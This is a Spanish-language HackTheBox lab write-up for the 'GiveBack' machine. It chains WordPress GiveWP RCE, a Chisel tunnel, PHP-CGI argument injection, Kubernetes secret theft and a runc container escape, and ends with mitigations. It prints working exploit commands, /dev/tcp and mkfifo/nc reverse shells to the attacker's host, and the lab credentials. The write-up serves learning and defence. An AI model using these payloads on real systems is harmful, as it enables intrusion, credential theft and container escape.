Skip to content
cyberknight / 91
HackTheBox Medium Linux 14 de mayo de 2026 · ~8 min

GiveBack

Cadena en cuatro capas — WordPress con GiveWP 3.14.0 vulnerable a CVE-2024-5932 (PHP Object Injection → RCE en pod WP), túnel inverso con Chisel para alcanzar un servicio legacy del clúster Kubernetes, PHP-CGI vulnerable a CVE-2024-4577 (Best-Fit %AD), extracción de secrets vía service account token, y escape final del contenedor abusando del FD leak de runc 1.1.11 (CVE-2024-21626, Leaky Vessels).

Ver en HackTheBox

Resumen

GiveBack es una máquina Linux de dificultad media que encadena cuatro capas: explotación de WordPress (GiveWP CVE-2024-5932), pivot dentro de un clúster Kubernetes usando un túnel inverso con Chisel para exponer el servicio legacy interno, PHP-CGI vulnerable a CVE-2024-4577 (Best-Fit %AD), extracción de credenciales desde Kubernetes Secrets, y escape del contenedor abusando del FD leak de runc 1.1.11 (CVE-2024-21626, Leaky Vessels). La lección clave: ningún CVE basta por sí solo — lo que rompe la máquina es la composición de RBAC permisivo, servicios internos sin NetworkPolicy y binarios sudoers que envuelven runtimes desactualizados.


Reconocimiento

Escaneo de puertos

export IP=10.129.242.171
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn $IP -oG targeted
nmap -sVC -p22,80,30686 $IP
22/tcp    open  ssh    OpenSSH 8.9p1
80/tcp    open  http   nginx + WordPress 6.8.1
30686/tcp open  http   Go HTTP — Kubernetes health check

Virtual host desde el HTML

curl -s http://$IP | grep -oE 'https?://[^"\'>]+' | grep -v '10\.129\.242\.171' | sort -u
# → giveback.htb

echo "$IP giveback.htb" | sudo tee -a /etc/hosts

Enumeración WordPress

wpscan --url http://giveback.htb/ -e p,t,u
Plugin: give 3.14.0  →  CVE-2024-5932
Users:  babywyrm

Sitemap del plugin Give

curl -s http://giveback.htb/wp-sitemap-posts-give_forms-1.xml
# → /donations/the-things-we-need/  (formulario vulnerable)

Foothold — CVE-2024-5932 (GiveWP RCE)

PHP Object Injection en el parámetro give_title del formulario de donación. GiveWP pasa datos del usuario a unserialize() sin sanitizar; la cadena POP (gadget chain) disponible en el código permite RCE sin autenticación.

Listener

rlwrap nc -lnvp 4444

Exploit

python3 CVE-2024-5932-rce.py \
  -u http://giveback.htb/donations/the-things-we-need/ \
  -c "bash -c 'bash -i >& /dev/tcp/$VPNIP/4444 0>&1'"

Shell como uid=1001 gid=0(root) dentro del contenedor WordPress (/opt/bitnami/wordpress/).


Enumeración del contenedor — descubriendo el servicio legacy

env | grep -i "service\|host\|port"
LEGACY_INTRANET_SERVICE_PORT=tcp://10.43.2.241:5000
KUBERNETES_SERVICE_HOST=10.43.0.1

Kubernetes inyecta los servicios como variables de entorno. 10.43.2.241:5000 es una ClusterIP — no accesible desde fuera del clúster. Necesitamos tunelizarla.


Port forwarding con Chisel

Arquitectura del túnel:

Kali (atacante)              Pod WordPress (víctima)        10.43.2.241:5000 (interno)
─────────────────            ───────────────────────        ──────────────────────────
localhost:222    ◄─── HTTP tunnel ───►   chisel client  ◄─── red K8s ───►   servicio legacy

Preparar chisel en Kali

wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz
gunzip chisel_1.10.1_linux_amd64.gz
mv chisel_1.10.1_linux_amd64 /usr/local/bin/chisel && chmod +x /usr/local/bin/chisel

# Servir el binario para la víctima:
python3 -m http.server 7000 --directory /usr/local/bin/

# Levantar servidor Chisel:
chisel server -p 666 --reverse

Descargar chisel sin curl ni wget (víctima)

El contenedor no tiene curl ni wget. Bash + /dev/tcp al rescate:

(exec 3<>/dev/tcp/$VPNIP/7000;
 echo -e "GET /chisel HTTP/1.1\r\nHost: $VPNIP\r\nConnection: close\r\n\r\n" >&3;
 cat <&3 | sed '1,/^\r$/d' > /tmp/chisel;
 chmod +x /tmp/chisel) &
  • exec 3<>/dev/tcp/IP/PORT abre el fd 3 como socket TCP bidireccional
  • sed '1,/^\r$/d' elimina las cabeceras HTTP de la respuesta, deja solo el binario

Cliente chisel (víctima)

/tmp/chisel client $VPNIP:666 R:222:10.43.2.241:5000

R:222:10.43.2.241:5000 = reverse tunnel que expone en localhost:222 de Kali el servicio interno 10.43.2.241:5000.

A partir de aquí, http://localhost:222 desde Kali == servicio legacy del clúster.


Lateral Movement — CVE-2024-4577 (PHP-CGI argument injection)

Concepto clave: PHP-CGI lee argumentos de la query string cuando empiezan por -. El parche de CVE-2012-1823 bloquea -d literal, pero %AD (soft hyphen, U+00AD) pasa por Best-Fit conversion y se convierte en - ANTES del parseo. De ahí %ADd.

Verificar versión PHP

curl -s "http://localhost:222/phpinfo.php?debug" | grep -i "php version"
# → PHP 8.3.3  →  vulnerable

Test de RCE

curl -i -X POST "http://localhost:222/cgi-bin/php-cgi?%ADd+auto_prepend_file=php%3A%2F%2Finput" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary "<?php system('id'); ?>"

Tres piezas:

  • ?%ADd+auto_prepend_file=php://input → define la directiva PHP
  • Header application/x-www-form-urlencoded → necesario para que el body llegue al handler CGI
  • Body <?php ... ?> → ejecutado por auto_prepend_file

Reverse shell (Alpine, sin /dev/tcp)

El pod legacy es Alpine + busybox — busybox no implementa /dev/tcp. Usamos un FIFO:

# Listener en Kali
rlwrap nc -lnvp 4433

# Exploit
curl -i -X POST "http://localhost:222/cgi-bin/php-cgi?%ADd+auto_prepend_file=php%3A%2F%2Finput" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary "<?php system('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | /usr/bin/nc $VPNIP 4433 > /tmp/f'); ?>"

El named pipe (mkfifo) conecta stdin/stdout de sh con nc sin necesitar /dev/tcp.

Resultado: uid=0(root) dentro del segundo contenedor.


Kubernetes Secrets — vía service account token

Leer credenciales del pod

TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /run/secrets/kubernetes.io/serviceaccount/namespace)

Listar secrets del namespace

curl -sSk -H "Authorization: Bearer $TOKEN" \
  "https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/secrets"

El pod tiene RBAC para leer secrets — primer fallo de configuración crítico. Un pod nunca debería poder listar secrets de su namespace.

Extraer y decodificar user-secret-babywyrm

curl -sSk -H "Authorization: Bearer $TOKEN" \
  "https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/secrets/user-secret-babywyrm"

echo "SzFEbWxZZVpVRWlZWlcxSmphM0c3b3lNZnJDRmJN" | base64 -d
# → MASTERPASS: K1DmlYeZUEiYZW1Jja3G7oyMfrCFbM

Kubernetes Secrets están en base64, no cifrados. Cualquiera con acceso al recurso puede decodificarlos trivialmente.


Foothold real — SSH al host

ssh babywyrm@$IP
# Password: K1DmlYeZUEiYZW1Jja3G7oyMfrCFbM

cat /home/babywyrm/user.txt

El puerto 22 del nmap inicial nunca fue vector de entrada — esperaba estas credenciales.


Escalada local — runc 1.1.11 (CVE-2024-21626, Leaky Vessels)

sudo -l

sudo -l
# (ALL) /opt/debug

sudo /opt/debug --version
# sudo pass:  K1DmlYeZUEiYZW1Jja3G7oyMfrCFbM
# admin pass: sW5sp4spa3u7RLyetrekE4oS
# → runc version 1.1.11  →  VULNERABLE

/opt/debug es un wrapper sobre runc que pide doble password (sudo + admin propio del binario).

CVE-2024-21626 (Leaky Vessels): runc abre internamente un file descriptor (fd 7) apuntando a un directorio del host durante la preparación del contenedor. Ese fd no se cierra antes de exec, así que el proceso del contenedor lo hereda. Si establecemos cwd=/proc/self/fd/7, el contenedor arranca con un directorio del host como CWD → escape.

Preparar rootfs Alpine (atacante)

sudo docker export $(sudo docker create alpine:latest) > /tmp/alpine.tar
python3 -m http.server 8000 --directory /tmp/

Bundle OCI en la víctima

wget http://$VPNIP:8000/alpine.tar -O /tmp/alpine.tar
mkdir -p /tmp/data/rootfs && cd /tmp/data
tar -xf /tmp/alpine.tar -C rootfs/

sudo /opt/debug spec
# (sudo + admin passwords)
# → genera config.json

mkdir conc
cp -a ./config.json ./rootfs conc/
cd conc/

El punto clave — cwd = /proc/self/fd/7

perl -i -pe 's/"cwd": "\/",/"cwd": "\/proc\/self\/fd\/7",/' config.json
grep '"cwd"' config.json
# → "cwd": "/proc/self/fd/7"

Ejecutar y leer la flag

sudo /opt/debug --log ./log.json run runc_exp
# (sudo + admin passwords)

# Dentro del contenedor escapado:
pwd
cat ../../../../../root/root.txt

Desde /proc/self/fd/7 (que apunta a un subdir del host), las rutas relativas ../../../../../ escalan hasta / del host. Root flag obtenida.


Kill Chain

#FaseTécnicaResultado
1Reconnmap -p- + -sVC22/SSH · 80/WordPress · 30686/K8s-health
2VhostURLs en HTML + /etc/hostsgiveback.htb
3Enum WPwpscan + sitemapGiveWP 3.14.0 · /donations/the-things-we-need/
4Exploit webCVE-2024-5932 (PHP Object Injection)Reverse shell en pod WordPress
5Recon internoenv del podLEGACY_INTRANET_SERVICE en 10.43.2.241:5000
6TunnelingChisel reverse tunnel (R:222:…)localhost:222 = servicio legacy
7Exploit internoCVE-2024-4577 (Best-Fit %ADd)RCE en pod legacy como root
8Reverse shellFIFO + nc (Alpine sin /dev/tcp)Shell root en segundo contenedor
9K8s APIService account token + RBACLectura de secrets del namespace
10Credential leakbase64 -d sobre user-secret-babywyrmMASTERPASS = K1Dml...
11Foothold hostSSH con passwordbabywyrm · user.txt
12Sudo enumsudo -l + --version/opt/debug = runc 1.1.11
13Container escapeCVE-2024-21626 (cwd=/proc/self/fd/7)Acceso al rootfs del host · root.txt

CVEs explotados

CVEComponenteTipoResultado
CVE-2024-5932GiveWP plugin 3.14.0PHP Object Injection → RCEShell en pod WordPress
CVE-2024-4577PHP-CGI (PHP < 8.3.8)Argument injection via soft-hyphenRoot en pod legacy
CVE-2024-21626runc 1.1.11FD leak → container escapeRoot en host

Herramientas

HerramientaUso
nmapDescubrimiento de puertos + versiones
wpscanEnumeración WordPress (plugins, usuarios)
curl + jqWP REST API + Kubernetes API
CVE-2024-5932-rce.pyExploit GiveWP deserialization
rlwrap + ncListener con historial
chiselTúnel TCP inverso sobre HTTP para servicios K8s internos
perlEdición in-place de config.json
base64Decodificación de K8s Secrets
runc (/opt/debug)Container con config maliciosa para escape

Lecciones y mitigación

TécnicaMITRE ATT&CK
WordPress plugin RCE (deserialization)T1190
PHP-CGI argument injectionT1190
Internal service tunnelingT1572
Kubernetes service account abuseT1552.004
Container escape (runc FD leak)T1611
Credentials in K8s SecretsT1552.007
Sudo binary abuseT1548.003

Mitigación:

  • GiveWP: actualizar a ≥ 3.14.2 (vector parcheado); WAF para POST con give_title con patrones serializados.
  • NodePorts: no exponer endpoints de salud en NodePorts (:30686). Cubrir con NetworkPolicy o pasarelas autenticadas.
  • RBAC mínimo: un pod WordPress NUNCA debería poder listar Secrets. Validar con kubectl auth can-i list secrets.
  • PHP-CGI: bloquear %AD y caracteres soft-hyphen en WAF; migrar de CGI clásico a PHP-FPM.
  • runc: actualizar a ≥ 1.1.12 (parche de Leaky Vessels). Aplica también a Docker, containerd y Kubernetes.
  • Sudo wrappers: (ALL) /opt/debug cuando /opt/debug envuelve runc convierte la regla en sudo runc run — auditar binarios sudoers por su comportamiento real, no solo por nombre.
  • Secrets vs ConfigMap: usar Sealed Secrets, External Secrets Operator o SOPS — base64 NO es cifrado.
htb-giveback.md
hacker@cyberknight $ stat htb-giveback.md
machine : GiveBack
os : Linux
difficulty: Medium
published: 14 de mayo de 2026
words : 1659
read : ~8 min
hacker@cyberknight $ tags --list
#WordPress #GiveWP #CVE-2024-5932 #Kubernetes #PHP-CGI #CVE-2024-4577 #runc #CVE-2024-21626 #Chisel #container-escape #port-forwarding #service-account
hacker@cyberknight $ echo $STATUS
[OK] retired · safe to publish
hacker@cyberknight $
todos los write-ups
#WordPress#GiveWP#CVE-2024-5932#Kubernetes#PHP-CGI#CVE-2024-4577#runc#CVE-2024-21626#Chisel#container-escape#port-forwarding#service-account